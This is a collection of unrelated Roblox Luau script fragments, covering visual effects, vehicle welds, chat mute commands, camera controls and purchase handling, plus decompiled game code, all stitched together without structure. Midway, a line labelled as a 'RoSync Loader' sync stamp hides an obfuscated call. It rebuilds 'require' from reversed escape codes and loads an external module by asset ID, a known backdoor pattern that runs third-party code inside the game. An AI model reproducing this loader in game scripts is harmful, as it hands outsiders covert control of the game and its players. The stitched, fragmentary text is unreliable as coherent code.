--Adds sparks effect to a Lightning Bolt
local LightningBolt = require(script.Parent) local ActiveSparks = {} local rng = Random.new() local LightningSparks = {} LightningSparks.__index = LightningSparks function LightningSparks.new(LightningBolt, MaxSparkCount) local self = setmetatable({}, LightningSparks) --Main (default) properties-- self.Enabled = true --Stops spawning sparks when false self.LightningBolt = LightningBolt --Bolt which sparks fly out of self.MaxSparkCount = MaxSparkCount or 10 --Max number of sparks visible at any given instance self.MinSpeed, self.MaxSpeed = 4, 6 --Min and max PulseSpeeds of sparks self.MinDistance, self.MaxDistance = 3, 6 --Governs how far sparks travel away from main bolt self.MinPartsPerSpark, self.MaxPartsPerSpark = 8, 10 --Adjustable -- self.SparksN = 0 self.SlotTable = {} self.RefIndex = #ActiveSparks + 1 ActiveSparks[self.RefIndex] = self return self end function LightningSparks:Destroy() ActiveSparks[self.RefIndex] = nil for i, v in pairs(self.SlotTable) do if v.Parts[1].Parent == nil then self.SlotTable[i] = nil --Removes reference to prevent memory leak end end self = nil end function RandomVectorOffset(v, maxAngle) --returns uniformly-distributed random unit vector no more than maxAngle radians away from v return (CFrame.lookAt(Vector3.new(), v)*CFrame.Angles(0, 0, rng:NextNumber(0, 2*math.pi))*CFrame.Angles(math.acos(rng:NextNumber(math.cos(maxAngle), 1)), 0, 0)).LookVector end game:GetService("RunService").Heartbeat:Connect(function () for _, ThisSpark in pairs(ActiveSparks) do if ThisSpark.Enabled == true and ThisSpark.SparksN < ThisSpark.MaxSparkCount then local Bolt = ThisSpark.LightningBolt if Bolt.Parts[1].Parent == nil then ThisSpark:Destroy() return end local BoltParts = Bolt.Parts local BoltPartsN = #BoltParts local opaque_parts = {} for part_i = 1, #BoltParts do --Fill opaque_parts table if BoltParts[part_i].Transparency < 0.3 then --minimum opacity required to be able to generate a spark there opaque_parts[#opaque_parts + 1] = (part_i - 0.5) / BoltPartsN end end local minSlot, maxSlot if #opaque_parts ~= 0 then minSlot, maxSlot = math.ceil(opaque_parts[1]*ThisSpark.MaxSparkCount), math.ceil(opaque_parts[#opaque_parts]*ThisSpark.MaxSparkCount) end for _ = 1, rng:NextInteger(1, ThisSpark.MaxSparkCount - ThisSpark.SparksN) do if #opaque_parts == 0 then break end local available_slots = {} for slot_i = minSlot, maxSlot do --Fill available_slots table if ThisSpark.SlotTable[slot_i] == nil then --check slot doesn't have existing spark available_slots[#available_slots + 1] = slot_i end end if #available_slots ~= 0 then local ChosenSlot = available_slots[rng:NextInteger(1, #available_slots)] local localTrng = rng:NextNumber(-0.5, 0.5) local ChosenT = (ChosenSlot - 0.5 + localTrng)/ThisSpark.MaxSparkCount local dist, ChosenPart = 10, 1 for opaque_i = 1, #opaque_parts do local testdist = math.abs(opaque_parts[opaque_i] - ChosenT) if testdist < dist then dist, ChosenPart = testdist, math.floor((opaque_parts[opaque_i]*BoltPartsN + 0.5) + 0.5) end end local Part = BoltParts[ChosenPart] --Make new spark-- local A1, A2 = {}, {} A1.WorldPosition = Part.Position + localTrng*Part.CFrame.RightVector*Part.Size.X A2.WorldPosition = A1.WorldPosition + RandomVectorOffset(Part.CFrame.RightVector, math.pi/4)*rng:NextNumber(ThisSpark.MinDistance, ThisSpark.MaxDistance) A1.WorldAxis = (A2.WorldPosition - A1.WorldPosition).Unit A2.WorldAxis = A1.WorldAxis local NewSpark = LightningBolt.new(A1, A2, rng:NextInteger(ThisSpark.MinPartsPerSpark, ThisSpark.MaxPartsPerSpark)) --NewSpark.MaxAngleOffset = math.rad(70) NewSpark.MinRadius, NewSpark.MaxRadius = 0, 0.8 NewSpark.AnimationSpeed = 0 NewSpark.Thickness = Part.Size.Y / 2 NewSpark.MinThicknessMultiplier, NewSpark.MaxThicknessMultiplier = 1, 1 NewSpark.PulseLength = 0.5 NewSpark.PulseSpeed = rng:NextNumber(ThisSpark.MinSpeed, ThisSpark.MaxSpeed) NewSpark.FadeLength = 0.25 local cH, cS, cV = Color3.toHSV(Part.Color) NewSpark.Color = Color3.fromHSV(cH, 0.5, cV) ThisSpark.SlotTable[ChosenSlot] = NewSpark -- end end end --Update SparksN-- local slotsInUse = 0 for i, v in pairs(ThisSpark.SlotTable) do if v.Parts[1].Parent ~= nil then slotsInUse = slotsInUse + 1 else ThisSpark.SlotTable[i] = nil --Removes reference to prevent memory leak end end ThisSpark.SparksN = slotsInUse -- end end) return LightningSparks
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "TopHat" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(0,-0.25,0) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0, 0.6, -0.170) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--[[ Returns a new object of the registry's class and indexes it with the given key ]]
function Registry:add(key, ...) if self.objects[key] then warn(string.format("[Registry] - object already exists for key %s", tostring(key))) self:remove(key) end local object = self.class.new(key, ...) self.objects[key] = object return object end
--Weld stuff here
MakeWeld(misc.Hood.Hinge,car.DriveSeat,"Motor",.1) ModelWeld(misc.Hood.Parts,misc.Hood.Hinge) MakeWeld(car.Misc.Wheel.W,car.DriveSeat,"Motor").Name="W" ModelWeld(car.Misc.Wheel.Parts,car.Misc.Wheel.W) car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0) end end)
--------------------------UTIL LIBRARY-------------------------------
local Utility = {} do local function FindCharacterAncestor(part) if part then local humanoid = part:FindFirstChildOfClass("Humanoid") if humanoid then return part, humanoid else return FindCharacterAncestor(part.Parent) end end end Utility.FindCharacterAncestor = FindCharacterAncestor local function Raycast(ray, ignoreNonCollidable: boolean, ignoreList: {Model}) ignoreList = ignoreList or {} local hitPart, hitPos, hitNorm, hitMat = Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList) if hitPart then if ignoreNonCollidable and hitPart.CanCollide == false then -- We always include character parts so a user can click on another character -- to walk to them. local _, humanoid = FindCharacterAncestor(hitPart) if humanoid == nil then table.insert(ignoreList, hitPart) return Raycast(ray, ignoreNonCollidable, ignoreList) end end return hitPart, hitPos, hitNorm, hitMat end return nil, nil end Utility.Raycast = Raycast end local humanoidCache = {} local function findPlayerHumanoid(player: Player) local character = player and player.Character if character then local resultHumanoid = humanoidCache[player] if resultHumanoid and resultHumanoid.Parent == character then return resultHumanoid else humanoidCache[player] = nil -- Bust Old Cache local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then humanoidCache[player] = humanoid end return humanoid end end end
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end) if ChatLocalization == nil then ChatLocalization = {} end if not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then function ChatLocalization:FormatMessageToSend(key,default) return default end end local errorTextColor = ChatSettings.ErrorMessageTextColor or Color3.fromRGB(245, 50, 50) local errorExtraData = {ChatColor = errorTextColor} local function Run(ChatService) local function GetSpeakerNameFromMessage(message) local speakerName = message if string.sub(message, 1, 1) == "\"" then local pos = string.find(message, "\"", 2) if pos then speakerName = string.sub(message, 2, pos - 1) end else local first = string.match(message, "^[^%s]+") if first then speakerName = first end end return speakerName end local function DoMuteCommand(speakerName, message, channel) local muteSpeakerInputName = GetSpeakerNameFromMessage(message) local speaker = ChatService:GetSpeaker(speakerName) if speaker then local muteSpeakerName, muteSpeakerError --Get the target user's UserName from the input (which could be userName or displayName) if ChatSettings.PlayerDisplayNamesEnabled then muteSpeakerName, muteSpeakerError = DisplayNameHelpers.getUserNameFromChattedName(muteSpeakerInputName, speakerName, speaker:GetNameForDisplay()) else muteSpeakerName, muteSpeakerError = DisplayNameHelpers.getUserNameFromChattedName(muteSpeakerInputName, speakerName, nil) end local muteSpeaker = ChatService:GetSpeaker(muteSpeakerName) if muteSpeakerError == DisplayNameHelpers.CommandErrorCodes.ChattingToSelf then speaker:SendSystemMessage(ChatLocalization:FormatMessageToSend("GameChat_DoMuteCommand_CannotMuteSelf", "You cannot mute yourself."), channel, errorExtraData) elseif muteSpeakerError == DisplayNameHelpers.CommandErrorCodes.NoMatches then local msg = ChatLocalization:FormatMessageToSend( "GameChat_MuteSpeaker_SpeakerDoesNotExist", string.format("Speaker '%s' does not exist.", tostring(muteSpeakerInputName)), "RBX_NAME", tostring(muteSpeakerName)) speaker:SendSystemMessage(msg, channel, errorExtraData) elseif muteSpeakerError == DisplayNameHelpers.CommandErrorCodes.MultipleMatches then local matchingUsersText = DisplayNameHelpers.getUsersWithDisplayNameString(muteSpeakerInputName, speakerName) speaker:SendSystemMessage(ChatLocalization:FormatMessageToSend("InGame.Chat.Response.DisplayNameMultipleMatches", "Warning: The following users have this display name: "), channel, errorExtraData) --Send a second message with a list of names so that the localization formatter doesn't prune it speaker:SendSystemMessage(matchingUsersText, channel, errorExtraData) elseif muteSpeaker then speaker:AddMutedSpeaker(muteSpeaker.Name) local muteSpeakerDisplayName = muteSpeakerName if ChatSettings.PlayerDisplayNamesEnabled then muteSpeakerDisplayName = muteSpeaker:GetNameForDisplay() end local msg = ChatLocalization:FormatMessageToSend("GameChat_ChatMain_SpeakerHasBeenMuted", string.format("Speaker '%s' has been muted.", muteSpeakerDisplayName), "RBX_NAME", muteSpeakerDisplayName) speaker:SendSystemMessage(msg, channel) end end end local function DoUnmuteCommand(speakerName, message, channel) local unmuteSpeakerInputName = GetSpeakerNameFromMessage(message) local speaker = ChatService:GetSpeaker(speakerName) if speaker then local unmuteSpeakerName, unmuteSpeakerError --Get the target user's UserName from the input (which could be userName or displayName) if ChatSettings.PlayerDisplayNamesEnabled then unmuteSpeakerName, unmuteSpeakerError = DisplayNameHelpers.getUserNameFromChattedName(unmuteSpeakerInputName, speakerName, speaker:GetNameForDisplay()) else unmuteSpeakerName, unmuteSpeakerError = DisplayNameHelpers.getUserNameFromChattedName(unmuteSpeakerInputName, speakerName, nil) end local unmuteSpeaker = ChatService:GetSpeaker(unmuteSpeakerName) if unmuteSpeakerError == DisplayNameHelpers.CommandErrorCodes.ChattingToSelf then speaker:SendSystemMessage(ChatLocalization:FormatMessageToSend("GameChat_DoMuteCommand_CannotMuteSelf","You cannot mute yourself."), channel, errorExtraData) return elseif unmuteSpeakerError == DisplayNameHelpers.CommandErrorCodes.NoMatches then local msg = ChatLocalization:FormatMessageToSend("GameChat_MuteSpeaker_SpeakerDoesNotExist", string.format("Speaker '%s' does not exist.", tostring(unmuteSpeakerName)), "RBX_NAME", tostring(unmuteSpeakerName)) speaker:SendSystemMessage(msg, channel, errorExtraData) return elseif unmuteSpeakerError == DisplayNameHelpers.CommandErrorCodes.MultipleMatches then --More than one DisplayName match local matchingUsersText = DisplayNameHelpers.getUsersWithDisplayNameString(unmuteSpeakerInputName, speakerName) speaker:SendSystemMessage(ChatLocalization:FormatMessageToSend("InGame.Chat.Response.DisplayNameMultipleMatches", "Warning: The following users have this display name: "), channel, errorExtraData) --Send a second message with a list of names so that the localization formatter doesn't prune it speaker:SendSystemMessage(matchingUsersText, channel, errorExtraData) return elseif unmuteSpeaker then speaker:RemoveMutedSpeaker(unmuteSpeaker.Name) local playerName = unmuteSpeakerName if ChatSettings.PlayerDisplayNamesEnabled then playerName = unmuteSpeaker:GetNameForDisplay() end local msg = ChatLocalization:FormatMessageToSend("GameChat_ChatMain_SpeakerHasBeenUnMuted", string.format("Speaker '%s' has been unmuted.", playerName), "RBX_NAME", playerName) speaker:SendSystemMessage(msg, channel) return end end end local function MuteCommandsFunction(fromSpeaker, message, channel) local processedCommand = false if string.sub(message, 1, 6):lower() == "/mute " then DoMuteCommand(fromSpeaker, string.sub(message, 7), channel) processedCommand = true elseif string.sub(message, 1, 8):lower() == "/unmute " then DoUnmuteCommand(fromSpeaker, string.sub(message, 9), channel) processedCommand = true end return processedCommand end ChatService:RegisterProcessCommandsFunction("mute_commands", MuteCommandsFunction, ChatConstants.StandardPriority) end return Run
--[[ The base part of a system component. A BaseSystem can be turned on and off, with a health amount. ]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local ServerStorage = game:GetService("ServerStorage") local CollectionService = game:GetService("CollectionService") local TweenService = game:GetService("TweenService") local ClassUtils = require(ReplicatedStorage.Dependencies.LuaUtils.ClassUtils) local Logger = require(ReplicatedStorage.Dependencies.GameUtils.Logger) local Constants = require(ReplicatedStorage.Source.Common.Constants) local sendAlert = require(ServerStorage.Source.Common.sendAlert) local translate = require(ReplicatedStorage.Dependencies.GameUtils.TranslateUtils).translate local remotesFolder = ReplicatedStorage.Remotes local CreateMarker = remotesFolder.CreateMarker local DestroyMarker = remotesFolder.DestroyMarker local DEFAULT_STARTING_HEALTH = 100 local DEFAULT_TOOLKIT_HEALING_AMOUNT = 45 local MONSTER_DAMAGE = 20 local MONSTER_DEBOUNCE_TIME = 4 local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Bounce, Enum.EasingDirection.Out)
-- ScreenSpace -> WorldSpace. Taking a screen width that you want that object to be -- and a world width that is the size of that object, and returning the position to -- put that object at to satisfy those.
function ScreenSpace.ScreenToWorldByWidth(x, y, screenWidth, worldWidth) local aspectRatio = ScreenSpace.AspectRatio() local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2) local wfactor = aspectRatio*hfactor local sx, sy = ScreenSpace.ViewSizeX(), ScreenSpace.ViewSizeY() -- local depth = - (sx * worldWidth) / (screenWidth * 2 * wfactor) -- local xf, yf = x/sx*2 - 1, y/sy*2 - 1 local xpos = xf * -wfactor * depth local ypos = yf * hfactor * depth -- return Vector3.new(xpos, ypos, depth) end return ScreenSpace
--[[ If it exists, will remove the cached player character appearance of specified userId ]]
function CharacterAppearanceCache.removeCachedAppearance(userId) if not appearanceCache[tostring(userId)] then Logger.warn("Cannot remove cached appearance for user ", userId, " as it is does not exist") return end appearanceCache[userId] = nil end return CharacterAppearanceCache
--[[ Last synced 10/14/2020 09:25 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
_L.Services.MarketplaceService.ProcessReceipt = function(receiptInfo) --- Reciept info local playerId = receiptInfo.PlayerId local productId, purchaseId = receiptInfo.ProductId, receiptInfo.PurchaseId local currencySpent, currencyType = receiptInfo.CurrencySpent, receiptInfo.CurrencyType local placeId = receiptInfo.PlaceIdWherePurchased --- Find the player instance from playerId (scans several times just in case) local function FindPlayer() local player = game.Players:GetPlayerByUserId(playerId) local attempts = 0 while (not player) and attempts < 20 do wait(.2) player = game.Players:GetPlayerByUserId(playerId) attempts = attempts + 1 end return player end --- Process product reciept local player = FindPlayer() if player then --print(productId) local productDir = Products.GetDir(productId) --print(productDir) local playerStats = _L.Saving.Get(player) if productDir and playerStats then --- Reward the player for purchasing this product based on the callback! local pass = false local pass2 = pcall(function() pass = productDir.Callback(player, receiptInfo) end) --- Success! if pass and pass2 then pcall(function() _L.Network.Fire("Product Bought", player, receiptInfo) _L.Signal.Fire("Product Bought", player, receiptInfo) _L.Analytics.Purchase("product", player.Name, productId) end) return Enum.ProductPurchaseDecision.PurchaseGranted end end end --- Failed, for some reason. Attempt to let the player know (if they are in the server) pcall(function() if player then _L.Network.Fire("Product Failed", player, receiptInfo) print("[bold]HUGE ISSUE: Failed to process product purchase! (plr: " .. player.Name .. " | id: " .. productId .. ") [/bold]", true) else print("[bold]HUGE ISSUE: Failed to process product purchase, could not find player! (plr: " .. playerId .. " | id: " .. productId .. ") [/bold]", true) end end) -- return Enum.ProductPurchaseDecision.NotProcessedYet end
-- if self.L3ButtonDown then -- -- L3 Thumbstick is depressed, right stick controls dolly in/out -- if (input.Position.Y > THUMBSTICK_DEADZONE) then -- self.currentZoomSpeed = 0.96 -- elseif (input.Position.Y < -THUMBSTICK_DEADZONE) then -- self.currentZoomSpeed = 1.04 -- else -- self.currentZoomSpeed = 1.00 -- end -- else
if state == Enum.UserInputState.Cancel then self.gamepadPanningCamera = ZERO_VECTOR2 return end local inputVector = Vector2.new(input.Position.X, -input.Position.Y) if inputVector.magnitude > THUMBSTICK_DEADZONE then self.gamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y) else self.gamepadPanningCamera = ZERO_VECTOR2 end --end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function BaseCamera:DoKeyboardPanTurn(name, state, input) if not self.hasGameLoaded and VRService.VREnabled then return Enum.ContextActionResult.Pass end if state == Enum.UserInputState.Cancel then self.turningLeft = false self.turningRight = false return Enum.ContextActionResult.Sink end if self.panBeginLook == nil and self.keyPanEnabled then if input.KeyCode == Enum.KeyCode.Left then self.turningLeft = state == Enum.UserInputState.Begin elseif input.KeyCode == Enum.KeyCode.Right then self.turningRight = state == Enum.UserInputState.Begin end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function BaseCamera:DoPanRotateCamera(rotateAngle) local angle = Util.RotateVectorByAngleAndRound(self:GetCameraLookVector() * Vector3.new(1,0,1), rotateAngle, math.pi*0.25) if angle ~= 0 then self.rotateInput = self.rotateInput + Vector2.new(angle, 0) self.lastUserPanCamera = tick() self.lastCameraTransform = nil end end function BaseCamera:DoKeyboardPan(name, state, input) if FFlagUserNoMoreKeyboardPan or not self.hasGameLoaded and VRService.VREnabled then return Enum.ContextActionResult.Pass end if state ~= Enum.UserInputState.Begin then return Enum.ContextActionResult.Pass end if self.panBeginLook == nil and self.keyPanEnabled then if input.KeyCode == Enum.KeyCode.Comma then self:DoPanRotateCamera(-math.pi*0.1875) elseif input.KeyCode == Enum.KeyCode.Period then self:DoPanRotateCamera(math.pi*0.1875) elseif input.KeyCode == Enum.KeyCode.PageUp then self.rotateInput = self.rotateInput + Vector2.new(0,math.rad(15)) self.lastCameraTransform = nil elseif input.KeyCode == Enum.KeyCode.PageDown then self.rotateInput = self.rotateInput + Vector2.new(0,math.rad(-15)) self.lastCameraTransform = nil end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function BaseCamera:DoGamepadZoom(name, state, input) if input.UserInputType == self.activeGamepad then if input.KeyCode == Enum.KeyCode.ButtonR3 then if state == Enum.UserInputState.Begin then if self.distanceChangeEnabled then local dist = self:GetCameraToSubjectDistance() if FFlagUserThirdGamepadZoomStep then if dist > (GAMEPAD_ZOOM_STEP_2 + GAMEPAD_ZOOM_STEP_3)/2 then self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_2) elseif dist > (GAMEPAD_ZOOM_STEP_1 + GAMEPAD_ZOOM_STEP_2)/2 then self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_1) else self:SetCameraToSubjectDistance(GAMEPAD_ZOOM_STEP_3) end else if dist > 0.5 then self:SetCameraToSubjectDistance(0) else self:SetCameraToSubjectDistance(10) end end end end elseif input.KeyCode == Enum.KeyCode.DPadLeft then self.dpadLeftDown = (state == Enum.UserInputState.Begin) elseif input.KeyCode == Enum.KeyCode.DPadRight then self.dpadRightDown = (state == Enum.UserInputState.Begin) end if self.dpadLeftDown then self.currentZoomSpeed = 1.04 elseif self.dpadRightDown then self.currentZoomSpeed = 0.96 else self.currentZoomSpeed = 1.00 end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass
-- Initialize the tool
local LightingTool = { Name = 'Lighting Tool'; Color = BrickColor.new 'Really black'; };
--AGAIN DO NOT MESS WITH ANYTHING UNLESS YOU KNOW WHAT YOU'RE DOING -- wat3r_l3g3nds
repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil local runService = game:GetService("RunService") local input = game:GetService("UserInputService") local players = game:GetService("Players") CanToggleMouse = {allowed = true; activationkey = Enum.KeyCode.F;} local cam = game.Workspace.CurrentCamera local player = players.LocalPlayer local m = player:GetMouse() m.Icon = "http://www.roblox.com/asset/?id=569021388" -- replaces mouse icon local running = true local freemouse = false
-- / Functions / --
EventModule.ActivateEvent = function() for _, Player in pairs(PlayingTeam:GetPlayers()) do if Player then local Character = Player.Character or Player.CharacterAdded:Wait() if Character then local Highlight = Instance.new("Highlight") Highlight.Parent = Character end end end end
-- Body Movers:
MainPart.BodyPosition.MaxForce = Vector3.new(0,math.huge,0) MainPart.BodyPosition.Position = Vector3.new(0,MainPart.Position.Y,0) MainPart.BodyGyro.CFrame = MainPart.CFrame MainPart.BodyGyro.MaxTorque = Vector3.new(math.huge,math.huge,math.huge) MainPart.BodyVelocity.MaxForce = Vector3.new(math.huge,0,math.huge)
-- child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
if child.Part1.Name == "HumanoidRootPart" then player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over. GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly. GUI:Clone().Parent = player.PlayerGui --// Compact version script.Parent.Parent.Body.Lights.RunL.Material = "Neon" script.Parent.Parent.Body.Lights.RunR.Material = "Neon" script.Parent.Parent.Body.Lights.RunL.BrickColor = BrickColor.new("Pearl") script.Parent.Parent.Body.Lights.RunR.BrickColor = BrickColor.new("Pearl") script.Parent.Parent.Body.Dash.Screen.G.Enabled = true script.Parent.Parent.Body.Dash.DashSc.G.Enabled = true end end end end) script.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then game.Workspace.CurrentCamera.FieldOfView = 70 player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and player.PlayerGui:FindFirstChild("SS3") then player.PlayerGui:FindFirstChild("SS3"):Destroy() script.Parent.Parent.Body.Lights.RunL.Material = "SmoothPlastic" script.Parent.Parent.Body.Lights.RunR.Material = "SmoothPlastic" script.Parent.Parent.Body.Lights.RunL.BrickColor = BrickColor.new("Pearl") script.Parent.Parent.Body.Lights.RunR.BrickColor = BrickColor.new("Pearl") script.Parent.Parent.Body.Dash.Screen.G.Enabled = false script.Parent.Parent.Body.Dash.DashSc.G.Enabled = false end end end end)
--partClone.Anchored = true --NOTE: DOES NOT WORK if part is anchored!
DebrisService:AddItem(partClone, 0.1) partClone.Parent = Workspace partClone.Touched:connect(OnTouched)
-- ALEX WAS HERE LOL
local v1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library")); while not v1.Loaded do game:GetService("RunService").Heartbeat:Wait(); end; local u1 = nil; function Unlock() u1:Destroy(); end; function IsUnlocked() if v1.Save.Get().OwnsVaultGate then return true; end; return false; end; function Buy() local v2, v3 = v1.Network.Invoke("Buy Vault Gate"); if not v2 then v1.Message.New(v3 or "Error"); else Unlock(); return; end; end; function Prompt() if v1.Message.New("Do you want to unlock ?", true) then Buy(); end; end; function Setup() local v4 = v1.WorldCmds.GetMap(); if v4:FindFirstChild("Interactive") then u1 = v4.Interactive:FindFirstChild("Secret Vault"); if u1 then if IsUnlocked() then else local v5, v6 = v1.Interact.Add(u1:FindFirstChild("Interact"), { dist = 15 }); v5:Connect(function() Prompt(); end); return; end; else return; end; else return; end; Unlock(); end; v1.Signal.Fired("World Changed"):Connect(function(p1) if p1 == "Haunted" then Setup(); end; end);
-- Gui Elements
local PlayerGui = player:FindFirstChild("PlayerGui") local TopBar = PlayerGui:FindFirstChild("TopBar")
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local l__TweenService__1 = game:GetService("TweenService"); function v1.stuff(p1, p2, p3) local u2 = p3; spawn(function() if p1.dead == true then return; end; if not u2 then u2 = math.random(1, 500); end; u2 = Random.new(u2); local l__LocalPlayer__2 = game.Players.LocalPlayer; local l__PrimaryPart__3 = l__LocalPlayer__2.Character.PrimaryPart; local v4 = (p1.cam.CFrame.LookVector * Vector3.new(1, 0, 1)).unit * -1; local l__p__5 = p1.cam.CFrame.p; l__TweenService__1:Create(p1.cam, TweenInfo.new(0.9, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), { CFrame = CFrame.new(l__p__5 + v4 * 2, l__p__5 + v4 * 10) }):Play(); l__PrimaryPart__3.Anchored = true; p1.stopcam = true; p1.hideplayers = 1; local v6 = game:GetService("ReplicatedStorage").Entities.Glitch:Clone(); local v7 = l__PrimaryPart__3.Position + Vector3.new(0, 7, 0) + v4 * 150; v6:SetPrimaryPartCFrame(CFrame.new(v7, v7 - v4)); v6.Parent = p1.cam; v6.Root.SoundHurt:Play(); v6.AnimationController:LoadAnimation(v6.Animations.Run):Play(0); l__TweenService__1:Create(v6.Root, TweenInfo.new(0.7, Enum.EasingStyle.Linear, Enum.EasingDirection.In), { CFrame = CFrame.new(v7 - v4 * 140, v7 - v4 * 250) }):Play(); p1.camShaker:ShakeOnce(4, 15, 1, 1); p1.camShaker:ShakeOnce(12, 3, 1, 1); game.Lighting.FogEnd = 1000; l__TweenService__1:Create(game:GetService("Lighting"), TweenInfo.new(0.9, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), { FogEnd = 0, FogStart = 0, FogColor = Color3.new(0, 0, 0), Ambient = Color3.new(0, 0, 0) }):Play(); local u3 = tick() + 2; task.spawn(function() local v8 = l__LocalPlayer__2.PlayerGui.MainUI.MainFrame.GlitchEffect:Clone(); for v9 = 1, 60 do for v10 = 1, 8 do local v11 = v8:Clone(); v11.Name = "FakeGlitchLive"; v11.Position = UDim2.new(math.random(0, 100) / 100, 0, math.random(0, 100) / 100, 0); v11.Rotation = math.random(0, 1) * 180; v11.Visible = true; v11.Parent = l__LocalPlayer__2.PlayerGui.MainUI; game.Debris:AddItem(v11, math.random(1, 20) / 100); end; task.wait(0.016666666666666666); if u3 <= tick() then break; end; end; end); script.Sound:Play(); wait(0.7); v6.AnimationController:LoadAnimation(v6.Animations.Attack):Play(0); game.Lighting.Ambience_Glitch.Enabled = true; task.wait(0.05); l__LocalPlayer__2.PlayerGui.MainUI.MainFrame.GlitchScreen.Visible = true; task.wait(0.1); task.wait(1); l__LocalPlayer__2.PlayerGui.MainUI.MainFrame.GlitchScreen.Visible = false; v6:Destroy(); p1.hideplayers = 0; l__TweenService__1:Create(game:GetService("Lighting"), TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { FogEnd = game.Lighting.FogEnd, FogStart = 15, FogColor = Color3.new(0, 0, 0) }):Play(); p1.stopcam = false; l__PrimaryPart__3.Anchored = false; task.wait(0.05); game.Lighting.Ambience_Glitch.Enabled = false; end); end; return v1;
-- Decompiled with the Synapse X Luau decompiler.
client = nil; service = nil; return function(p1) local v1 = { Name = "Vote", Title = "Vote", Size = { 300, 200 }, AllowMultiple = false }; local u1 = nil; function v1.OnClose() if not u1 then u1 = false; end; end; local v2 = client.UI.Make("Window", v1); local v3 = v2:Add("TextLabel", { Text = p1.Question, TextScaled = true, TextWrapped = true, Size = UDim2.new(1, -10, 0, 50), BackgroundTransparency = 1 }); local v4 = v2:Add("ScrollingFrame", { Size = UDim2.new(1, -10, 1, -60), Position = UDim2.new(0, 5, 0, 55) }); for v5, v6 in next, p1.Answers do local v7 = { Text = v5 .. ". " .. v6, Size = UDim2.new(1, -10, 0, 25), Position = UDim2.new(0, 5, 0, 25 * (v5 - 1)), TextXAlignment = "Left" }; local v8 = {}; function v8.MouseButton1Click() v2:Close(); u1 = v6; end; v7.Events = v8; v4:Add("TextButton", v7); end; v4:ResizeCanvas(); local l__gTable__9 = v2.gTable; v2:Ready(); while true do wait(); if u1 then break; end; if not l__gTable__9.Active then break; end; end; return nil; end;
--[=[ Queues up a wipe of all values. Data must load before it can be wiped. ]=]
function DataStoreStage:Wipe() return self._loadParent:Load(self._loadName, {}) :Then(function(data) for key, _ in pairs(data) do if self._stores[key] then self._stores[key]:Wipe() else self:_doStore(key, DataStoreDeleteToken) end end end) end function DataStoreStage:Store(name, value) if self._takenKeys[name] then error(("[DataStoreStage] - Already have a writer for %q"):format(name)) end if value == nil then value = DataStoreDeleteToken end self:_doStore(name, value) end
--This script will handle the mouse overs of the gui buttons. When moused over, --the selection box will change colors.